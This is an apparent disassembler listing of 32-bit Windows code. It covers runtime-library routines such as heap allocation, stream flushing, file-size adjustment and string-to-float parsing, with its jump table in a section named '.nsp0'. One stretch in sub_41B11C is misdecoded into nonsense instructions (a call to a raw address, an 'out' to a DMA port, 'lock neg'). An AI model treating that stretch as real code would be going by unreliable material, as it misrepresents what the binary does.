		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	dword_462E84	; MessageBoxA


loc_41B03F:				; CODE XREF: sub_41AFBE+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41B043:				; CODE XREF: sub_41AFBE+1Cj
					; sub_41AFBE+33j
		xor	eax, eax
		jmp	short loc_41B03F
sub_41AFBE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B047	proc near		; CODE XREF: sub_4199A3+22p
					; sub_4199A3+3Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		imul	esi, [esp+0Ch+arg_4]
		cmp	esi, 0FFFFFFE0h
		mov	ebx, esi
		ja	short loc_41B067
		test	esi, esi
		jnz	short loc_41B061
		push	1
		pop	esi


loc_41B061:				; CODE XREF: sub_41B047+15j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_41B067:				; CODE XREF: sub_41B047+11j
					; sub_41B047+65j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41B098
		cmp	ebx, dword_4316CC
		ja	short loc_41B083
		push	ebx
		call	sub_415723
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_41B0AE


loc_41B083:				; CODE XREF: sub_41B047+2Dj
		push	esi
		push	8
		push	dword_464220
		call	dword_41D144	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jnz	short loc_41B0BA


loc_41B098:				; CODE XREF: sub_41B047+25j
		cmp	dword_462C24, 0
		jz	short loc_41B0BA
		push	esi
		call	sub_415338
		test	eax, eax
		pop	ecx
		jz	short loc_41B0C0
		jmp	short loc_41B067
; ---------------------------------------------------------------------------


loc_41B0AE:				; CODE XREF: sub_41B047+3Aj
		push	ebx
		push	0
		push	edi
		call	sub_411F70
		add	esp, 0Ch


loc_41B0BA:				; CODE XREF: sub_41B047+4Fj
					; sub_41B047+58j
		mov	eax, edi


loc_41B0BC:				; CODE XREF: sub_41B047+7Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41B0C0:				; CODE XREF: sub_41B047+63j
		xor	eax, eax
		jmp	short loc_41B0BC
sub_41B047	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_419A48


loc_41B0C4:				; CODE XREF: sub_419A48+Ej
		push	esi
		push	edi
		push	3
		xor	edi, edi
		pop	esi
		cmp	dword_463EC0, esi
		jle	short loc_41B117


loc_41B0D3:				; CODE XREF: sub_419A48+16CDj
		mov	eax, dword_462EB0
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_41B10E
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_41B0F2
		push	eax
		call	sub_412540
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41B0F2
		inc	edi


loc_41B0F2:				; CODE XREF: sub_419A48+169Bj
					; sub_419A48+16A7j
		cmp	esi, 14h
		jl	short loc_41B10E
		mov	eax, dword_462EB0
		push	dword ptr [eax+esi*4]
		call	sub_412813
		mov	eax, dword_462EB0
		pop	ecx
		and	dword ptr [eax+esi*4], 0


loc_41B10E:				; CODE XREF: sub_419A48+1695j
					; sub_419A48+16ADj
		inc	esi
		cmp	esi, dword_463EC0
		jl	short loc_41B0D3


loc_41B117:				; CODE XREF: sub_419A48+1689j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_419A48

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B11C	proc near		; CODE XREF: sub_419E27+271p

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_412770
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ebx, dword_463FE0
		jnb	loc_41B251
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_463EE0[eax*4]
		test	byte ptr [eax+ecx*8+4],	1
		jz	loc_41B251
		push	1
		push	esi
		push	ebx
		call	sub_41844F
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_41B25B
		push	2
		push	esi
		push	ebx
		call	sub_41844F
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_41B25B
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, eax
		test	edi, edi
		jle	short loc_41B1FE
		push	1000h
		lea	eax, [ebp+var_1000]
		push	esi
		push	eax
		call	sub_411F70
		push	8000h
		push	ebx
		call	sub_41BD56
		add	esp, 14h
		mov	[ebp+arg_4], eax


loc_41B1B2:				; CODE XREF: sub_41B11C+BDj
		mov	eax, 1000h
		cmp	edi, eax
		jge	short loc_41B1BD
		mov	eax, edi


loc_41B1BD:				; CODE XREF: sub_41B11C+9Dj
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	ebx
		call	sub_41978C
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41B1DB
		sub	edi, eax
		test	edi, edi
		jle	short loc_41B1F1
		jmp	short loc_41B1B2
; ---------------------------------------------------------------------------


loc_41B1DB:				; CODE XREF: sub_41B11C+B5j
		cmp	dword_462BC8, 5
		jnz	short loc_41B1EE
		mov	dword_462BC4, 0Dh


loc_41B1EE:				; CODE XREF: sub_41B11C+C6j
		or	esi, 0FFFFFFFFh


loc_41B1F1:				; CODE XREF: sub_41B11C+BBj
		push	[ebp+arg_4]
		push	ebx
		call	sub_41BD56
		pop	ecx
		pop	ecx
		jmp	short loc_41B23E
; ---------------------------------------------------------------------------


loc_41B1FE:				; CODE XREF: sub_41B11C+71j
		jge	short loc_41B23E
		push	0
		push	[ebp+arg_4]
		push	ebx
		call	sub_41844F
		push	ebx
		call	sub_419D93
		add	esp, 10h
		push	eax
		call	near ptr 0AB0000h
		out	8Bh, eax	; DMA page register 74LS612:
					; Channel 5 (address bits 17-23)
		lock neg esi
		sbb	esi, esi
		neg	esi
		dec	esi
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41B23E
		mov	dword_462BC4, 0Dh
		call	dword_41D06C	; RtlGetLastWin32Error
		mov	dword_462BC8, eax


loc_41B23E:				; CODE XREF: sub_41B11C+E0j
					; sub_41B11C:loc_41B1FEj ...
		push	0
		push	[ebp+arg_0]
		push	ebx
		call	sub_41844F
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_41B25E
; ---------------------------------------------------------------------------


loc_41B251:				; CODE XREF: sub_41B11C+1Aj
					; sub_41B11C+36j
		mov	dword_462BC4, 9


loc_41B25B:				; CODE XREF: sub_41B11C+4Ej
					; sub_41B11C+63j
		or	eax, 0FFFFFFFFh


loc_41B25E:				; CODE XREF: sub_41B11C+133j
		pop	esi
		pop	ebx
		leave
		retn
sub_41B11C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B262	proc near		; CODE XREF: sub_41A292+2Bp
					; sub_41A292+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		lea	ecx, [edx+esi]
		cmp	ecx, edx
		jb	short loc_41B278
		cmp	ecx, esi
		jnb	short loc_41B27B


loc_41B278:				; CODE XREF: sub_41B262+10j
		push	1
		pop	eax


loc_41B27B:				; CODE XREF: sub_41B262+14j
		mov	edx, [esp+4+arg_8]
		pop	esi
		mov	[edx], ecx
		retn
sub_41B262	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B283	proc near		; CODE XREF: sub_41B33C+40p
					; sub_41B33C+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_41B262
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41B2B5
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_41B262
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41B2B5
		inc	dword ptr [esi+8]


loc_41B2B5:				; CODE XREF: sub_41B283+19j
					; sub_41B283+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_41B262
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41B2CD
		inc	dword ptr [esi+8]


loc_41B2CD:				; CODE XREF: sub_41B283+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_41B262
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_41B283	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B2E1	proc near		; CODE XREF: sub_41B33C+30p
					; sub_41B33C+36p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, [eax]
		mov	edi, [eax+4]
		mov	ecx, esi
		add	esi, esi
		mov	[eax], esi
		lea	esi, [edi+edi]
		shr	ecx, 1Fh
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		mov	[eax+4], esi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_41B2E1	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B30F	proc near		; CODE XREF: sub_41B8D4+1C8p
					; sub_41BDCC+17Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		mov	esi, edx
		mov	edi, ecx
		shl	esi, 1Fh
		shr	ecx, 1
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		shr	edx, 1
		or	ecx, edi
		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_41B30F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B33C	proc near		; CODE XREF: sub_41B403+3CAp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		cmp	eax, edx
		push	esi
		mov	[ebp+var_4], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_41B3B0
		push	edi
		mov	[ebp+arg_8], eax


loc_41B363:				; CODE XREF: sub_41B33C+6Fj
		mov	esi, ebx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_41B2E1
		push	ebx
		call	sub_41B2E1
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_41B283
		push	ebx
		call	sub_41B2E1
		mov	eax, [ebp+arg_0]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_41B283
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_41B363
		xor	edx, edx
		pop	edi


loc_41B3B0:				; CODE XREF: sub_41B33C+21j
					; sub_41B33C+9Fj
		cmp	[ebx+8], edx
		jnz	short loc_41B3DD
		mov	ecx, [ebx+4]
		mov	eax, ecx
		shr	eax, 10h
		mov	[ebx+8], eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		add	[ebp+var_4], 0FFF0h
		mov	[ebx+4], esi
		mov	[ebx], eax
		jmp	short loc_41B3B0
; ---------------------------------------------------------------------------


loc_41B3DD:				; CODE XREF: sub_41B33C+77j
		mov	esi, 8000h


loc_41B3E2:				; CODE XREF: sub_41B33C+B9j
		test	[ebx+8], esi
		jnz	short loc_41B3F7
		push	ebx
		call	sub_41B2E1
		add	[ebp+var_4], 0FFFFh
		pop	ecx
		jmp	short loc_41B3E2
; ---------------------------------------------------------------------------


loc_41B3F7:				; CODE XREF: sub_41B33C+A9j
		mov	ax, word ptr [ebp+var_4]
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		leave
		retn
sub_41B33C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B403	proc near		; CODE XREF: sub_41A5DB+17p
					; sub_41A608+17p

var_5C		= byte ptr -5Ch
var_45		= byte ptr -45h
var_40		= dword	ptr -40h
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	eax, [ebp+var_5C]
		push	1
		mov	[ebp+var_C], eax
		xor	eax, eax
		pop	edx
		mov	[ebp+var_28], eax
		mov	[ebp+var_18], edx
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], eax
		mov	[ebp+arg_8], edi


loc_41B43E:				; CODE XREF: sub_41B403+52j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_41B454
		cmp	cl, 9
		jz	short loc_41B454
		cmp	cl, 0Ah
		jz	short loc_41B454
		cmp	cl, 0Dh
		jnz	short loc_41B457


loc_41B454:				; CODE XREF: sub_41B403+40j
					; sub_41B403+45j ...
		inc	edi
		jmp	short loc_41B43E
; ---------------------------------------------------------------------------


loc_41B457:				; CODE XREF: sub_41B403+4Fj
		push	4
		pop	esi


loc_41B45A:				; CODE XREF: sub_41B403+AEj
					; sub_41B403+B7j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_41B6DD	; default
					; jumptable 0041B466 case 10
		jmp	off_41B8A4[eax*4] ; switch jump


loc_41B46D:				; DATA XREF: .nsp0:off_41B8A4o
		cmp	bl, 31h		; jumptable 0041B466 case 0
		jl	short loc_41B47E
		cmp	bl, 39h
		jg	short loc_41B47E


loc_41B477:				; CODE XREF: sub_41B403+C4j
					; sub_41B403+118j
		push	3
		jmp	loc_41B69B
; ---------------------------------------------------------------------------


loc_41B47E:				; CODE XREF: sub_41B403+6Dj
					; sub_41B403+72j
		cmp	bl, byte_4316C0
		jnz	short loc_41B48D


loc_41B486:				; CODE XREF: sub_41B403+124j
		push	5
		jmp	loc_41B6D3
; ---------------------------------------------------------------------------


loc_41B48D:				; CODE XREF: sub_41B403+81j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_41B4B3
		dec	eax
		dec	eax
		jz	short loc_41B4A7
		sub	eax, 3
		jnz	loc_41B776
		jmp	loc_41B536
; ---------------------------------------------------------------------------


loc_41B4A7:				; CODE XREF: sub_41B403+94j
		push	2
		mov	[ebp+var_28], 8000h
		pop	eax
		jmp	short loc_41B45A
; ---------------------------------------------------------------------------


loc_41B4B3:				; CODE XREF: sub_41B403+90j
		and	[ebp+var_28], 0
		push	2
		pop	eax
		jmp	short loc_41B45A
; ---------------------------------------------------------------------------


loc_41B4BC:				; CODE XREF: sub_41B403+63j
					; DATA XREF: .nsp0:off_41B8A4o
		cmp	bl, 31h		; jumptable 0041B466 case 1
		mov	[ebp+var_10], edx
		jl	short loc_41B4C9
		cmp	bl, 39h
		jle	short loc_41B477


loc_41B4C9:				; CODE XREF: sub_41B403+BFj
		cmp	bl, byte_4316C0
		jz	loc_41B591
		cmp	bl, 2Bh
		jz	short loc_41B50B
		cmp	bl, 2Dh
		jz	short loc_41B50B
		cmp	bl, 30h
		jz	short loc_41B536


loc_41B4E4:				; CODE XREF: sub_41B403+207j
		cmp	bl, 43h
		jle	loc_41B776
		cmp	bl, 45h
		jle	short loc_41B504
		cmp	bl, 63h
		jle	loc_41B776
		cmp	bl, 65h
		jg	loc_41B776


loc_41B504:				; CODE XREF: sub_41B403+EDj
		push	6
		jmp	loc_41B6D3
; ---------------------------------------------------------------------------


loc_41B50B:				; CODE XREF: sub_41B403+D5j
					; sub_41B403+DAj ...
		dec	edi
		push	0Bh
		jmp	loc_41B6D3
; ---------------------------------------------------------------------------


loc_41B513:				; CODE XREF: sub_41B403+63j
					; DATA XREF: .nsp0:off_41B8A4o
		cmp	bl, 31h		; jumptable 0041B466 case 2
		jl	short loc_41B521
		cmp	bl, 39h
		jle	loc_41B477


loc_41B521:				; CODE XREF: sub_41B403+113j
		cmp	bl, byte_4316C0
		jz	loc_41B486
		cmp	bl, 30h
		jnz	loc_41B6EB


loc_41B536:				; CODE XREF: sub_41B403+9Fj
					; sub_41B403+DFj
		mov	eax, edx
		jmp	loc_41B45A
; ---------------------------------------------------------------------------


loc_41B53D:				; CODE XREF: sub_41B403+63j
					; DATA XREF: .nsp0:off_41B8A4o
		mov	[ebp+var_10], edx ; jumptable 0041B466 case 3


loc_41B540:				; CODE XREF: sub_41B403+184j
		cmp	dword_4316BC, edx
		jle	short loc_41B559
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_414E26
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_41B567
; ---------------------------------------------------------------------------


loc_41B559:				; CODE XREF: sub_41B403+143j
		mov	ecx, off_4314B0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_41B567:				; CODE XREF: sub_41B403+154j
		test	eax, eax
		jz	short loc_41B589
		cmp	[ebp+var_4], 19h
		jnb	short loc_41B581
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		mov	[eax], bl
		jmp	short loc_41B584
; ---------------------------------------------------------------------------


loc_41B581:				; CODE XREF: sub_41B403+16Cj
		inc	[ebp+var_8]


loc_41B584:				; CODE XREF: sub_41B403+17Cj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41B540
; ---------------------------------------------------------------------------


loc_41B589:				; CODE XREF: sub_41B403+166j
		cmp	bl, byte_4316C0
		jnz	short loc_41B5F8


loc_41B591:				; CODE XREF: sub_41B403+CCj
		mov	eax, esi
		jmp	loc_41B45A
; ---------------------------------------------------------------------------


loc_41B598:				; CODE XREF: sub_41B403+63j
					; DATA XREF: .nsp0:off_41B8A4o
		cmp	[ebp+var_4], 0	; jumptable 0041B466 case 4
		mov	[ebp+var_10], edx
		mov	[ebp+var_24], edx
		jnz	short loc_41B5B1


loc_41B5A4:				; CODE XREF: sub_41B403+1ACj
		cmp	bl, 30h
		jnz	short loc_41B5B1
		dec	[ebp+var_8]
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41B5A4
; ---------------------------------------------------------------------------


loc_41B5B1:				; CODE XREF: sub_41B403+19Fj
					; sub_41B403+1A4j ...
		cmp	dword_4316BC, edx
		jle	short loc_41B5CA
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_414E26
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_41B5D8
; ---------------------------------------------------------------------------


loc_41B5CA:				; CODE XREF: sub_41B403+1B4j
		mov	ecx, off_4314B0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_41B5D8:				; CODE XREF: sub_41B403+1C5j
		test	eax, eax
		jz	short loc_41B5F8
		cmp	[ebp+var_4], 19h
		jnb	short loc_41B5F3
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		dec	[ebp+var_8]
		mov	[eax], bl


loc_41B5F3:				; CODE XREF: sub_41B403+1DDj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41B5B1
; ---------------------------------------------------------------------------


loc_41B5F8:				; CODE XREF: sub_41B403+18Cj
					; sub_41B403+1D7j
		cmp	bl, 2Bh
		jz	loc_41B50B
		cmp	bl, 2Dh
		jz	loc_41B50B
		jmp	loc_41B4E4
; ---------------------------------------------------------------------------


loc_41B60F:				; CODE XREF: sub_41B403+63j
					; DATA XREF: .nsp0:off_41B8A4o
		cmp	dword_4316BC, edx ; jumptable 0041B466 case 5
		mov	[ebp+var_24], edx
		jle	short loc_41B62B
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_414E26
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_41B639
; ---------------------------------------------------------------------------


loc_41B62B:				; CODE XREF: sub_41B403+215j
		mov	ecx, off_4314B0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_41B639:				; CODE XREF: sub_41B403+226j
		test	eax, eax
		jz	loc_41B6EB
		mov	eax, esi
		jmp	short loc_41B69C
; ---------------------------------------------------------------------------


loc_41B645:				; CODE XREF: sub_41B403+63j
					; DATA XREF: .nsp0:off_41B8A4o
		lea	ecx, [edi-2]	; jumptable 0041B466 case 6
		cmp	bl, 31h
		mov	[ebp+arg_8], ecx
		jl	short loc_41B655
		cmp	bl, 39h
		jle	short loc_41B699


loc_41B655:				; CODE XREF: sub_41B403+24Bj
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_41B6D1
		dec	eax
		dec	eax
		jz	short loc_41B6C5
		sub	eax, 3
		jnz	loc_41B779


loc_41B66A:				; CODE XREF: sub_41B403+2A4j
		push	8
		jmp	short loc_41B6D3
; ---------------------------------------------------------------------------


loc_41B66E:				; CODE XREF: sub_41B403+63j
					; DATA XREF: .nsp0:off_41B8A4o
		mov	[ebp+var_20], edx ; jumptable 0041B466 case 8


loc_41B671:				; CODE XREF: sub_41B403+276j
		cmp	bl, 30h
		jnz	short loc_41B67B
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41B671
; ---------------------------------------------------------------------------


loc_41B67B:				; CODE XREF: sub_41B403+271j
		cmp	bl, 31h
		jl	loc_41B776
		cmp	bl, 39h
		jg	loc_41B776
		jmp	short loc_41B699
; ---------------------------------------------------------------------------


loc_41B68F:				; CODE XREF: sub_41B403+63j
					; DATA XREF: .nsp0:off_41B8A4o
		cmp	bl, 31h		; jumptable 0041B466 case 7
		jl	short loc_41B6A2
		cmp	bl, 39h
		jg	short loc_41B6A2


loc_41B699:				; CODE XREF: sub_41B403+250j
					; sub_41B403+28Aj
		push	9


loc_41B69B:				; CODE XREF: sub_41B403+76j
		pop	eax


loc_41B69C:				; CODE XREF: sub_41B403+240j
		dec	edi
		jmp	loc_41B45A
; ---------------------------------------------------------------------------


loc_41B6A2:				; CODE XREF: sub_41B403+28Fj
					; sub_41B403+294j
		cmp	bl, 30h
		jnz	short loc_41B6EB
		jmp	short loc_41B66A
; ---------------------------------------------------------------------------


loc_41B6A9:				; CODE XREF: sub_41B403+63j
					; DATA XREF: .nsp0:off_41B8A4o
		cmp	[ebp+arg_18], 0	; jumptable 0041B466 case 11
		jz	short loc_41B6D9
		movsx	eax, bl
		lea	ecx, [edi-1]
		sub	eax, 2Bh
		mov	[ebp+arg_8], ecx
		jz	short loc_41B6D1
		dec	eax
		dec	eax
		jnz	loc_41B779


loc_41B6C5:				; CODE XREF: sub_41B403+25Cj
		or	[ebp+var_18], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_41B45A
; ---------------------------------------------------------------------------


loc_41B6D1:				; CODE XREF: sub_41B403+258j
					; sub_41B403+2B8j
		push	7


loc_41B6D3:				; CODE XREF: sub_41B403+85j
					; sub_41B403+103j ...
		pop	eax
		jmp	loc_41B45A
; ---------------------------------------------------------------------------


loc_41B6D9:				; CODE XREF: sub_41B403+2AAj
		push	0Ah
		dec	edi
		pop	eax


loc_41B6DD:				; CODE XREF: sub_41B403+5Dj
					; sub_41B403+63j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 0041B466 case 10
		jz	loc_41B77B
		jmp	loc_41B45A
; ---------------------------------------------------------------------------


loc_41B6EB:				; CODE XREF: sub_41B403+12Dj
					; sub_41B403+238j ...
		mov	edi, [ebp+arg_8]
		jmp	loc_41B77B
; ---------------------------------------------------------------------------


loc_41B6F3:				; CODE XREF: sub_41B403+63j
					; DATA XREF: .nsp0:off_41B8A4o
		mov	[ebp+var_20], 1	; jumptable 0041B466 case 9
		xor	esi, esi


loc_41B6FC:				; CODE XREF: sub_41B403+339j
		cmp	dword_4316BC, 1
		jle	short loc_41B714
		movzx	eax, bl
		push	4
		push	eax
		call	sub_414E26
		pop	ecx
		pop	ecx
		jmp	short loc_41B723
; ---------------------------------------------------------------------------


loc_41B714:				; CODE XREF: sub_41B403+300j
		mov	ecx, off_4314B0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_41B723:				; CODE XREF: sub_41B403+30Fj
		test	eax, eax
		jz	short loc_41B743
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_41B73E
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41B6FC
; ---------------------------------------------------------------------------


loc_41B73E:				; CODE XREF: sub_41B403+334j
		mov	esi, 1451h


loc_41B743:				; CODE XREF: sub_41B403+322j
		mov	[ebp+var_1C], esi


loc_41B746:				; CODE XREF: sub_41B403+371j
		cmp	dword_4316BC, 1
		jle	short loc_41B75E
		movzx	eax, bl
		push	4
		push	eax
		call	sub_414E26
		pop	ecx
		pop	ecx
		jmp	short loc_41B76D
; ---------------------------------------------------------------------------


loc_41B75E:				; CODE XREF: sub_41B403+34Aj
		mov	ecx, off_4314B0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_41B76D:				; CODE XREF: sub_41B403+359j
		test	eax, eax
		jz	short loc_41B776
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41B746
; ---------------------------------------------------------------------------


loc_41B776:				; CODE XREF: sub_41B403+99j
					; sub_41B403+E4j ...
		dec	edi
		jmp	short loc_41B77B
; ---------------------------------------------------------------------------


loc_41B779:				; CODE XREF: sub_41B403+261j
					; sub_41B403+2BCj
		mov	edi, ecx


loc_41B77B:				; CODE XREF: sub_41B403+2DDj
					; sub_41B403+2EBj ...
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_10], 0
		mov	[eax], edi
		jz	loc_41B863
		push	18h
		pop	eax
		cmp	[ebp+var_4], eax
		jbe	short loc_41B7A7
		cmp	[ebp+var_45], 5
		jl	short loc_41B79B
		inc	[ebp+var_45]


loc_41B79B:				; CODE XREF: sub_41B403+393j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		dec	eax
		inc	[ebp+var_8]
		jmp	short loc_41B7AA
; ---------------------------------------------------------------------------


loc_41B7A7:				; CODE XREF: sub_41B403+38Dj
		mov	eax, [ebp+var_C]


loc_41B7AA:				; CODE XREF: sub_41B403+3A2j
		cmp	[ebp+var_4], 0
		jbe	loc_41B859


loc_41B7B4:				; CODE XREF: sub_41B403+3BDj
		dec	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_41B7C2
		dec	[ebp+var_4]
		inc	[ebp+var_8]
		jmp	short loc_41B7B4
; ---------------------------------------------------------------------------


loc_41B7C2:				; CODE XREF: sub_41B403+3B5j
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_5C]
		push	[ebp+var_4]
		push	eax
		call	sub_41B33C
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_18], ecx
		jge	short loc_41B7E1
		neg	eax


loc_41B7E1:				; CODE XREF: sub_41B403+3DAj
		add	eax, [ebp+var_8]
		cmp	[ebp+var_20], ecx
		jnz	short loc_41B7EC
		add	eax, [ebp+arg_10]


loc_41B7EC:				; CODE XREF: sub_41B403+3E4j
		cmp	[ebp+var_24], ecx
		jnz	short loc_41B7F4
		sub	eax, [ebp+arg_14]


loc_41B7F4:				; CODE XREF: sub_41B403+3ECj
		cmp	eax, 1450h
		jle	short loc_41B82B
		mov	[ebp+var_2C], 1


loc_41B802:				; CODE XREF: sub_41B403+436j
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_8]


loc_41B80E:				; CODE XREF: sub_41B403+454j
					; sub_41B403+45Ej
		cmp	[ebp+var_2C], 0
		jz	short loc_41B874
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_14], 2
		jmp	short loc_41B889
; ---------------------------------------------------------------------------


loc_41B82B:				; CODE XREF: sub_41B403+3F6j
		cmp	eax, 0FFFFEBB0h
		jge	short loc_41B83B
		mov	[ebp+var_30], 1
		jmp	short loc_41B802
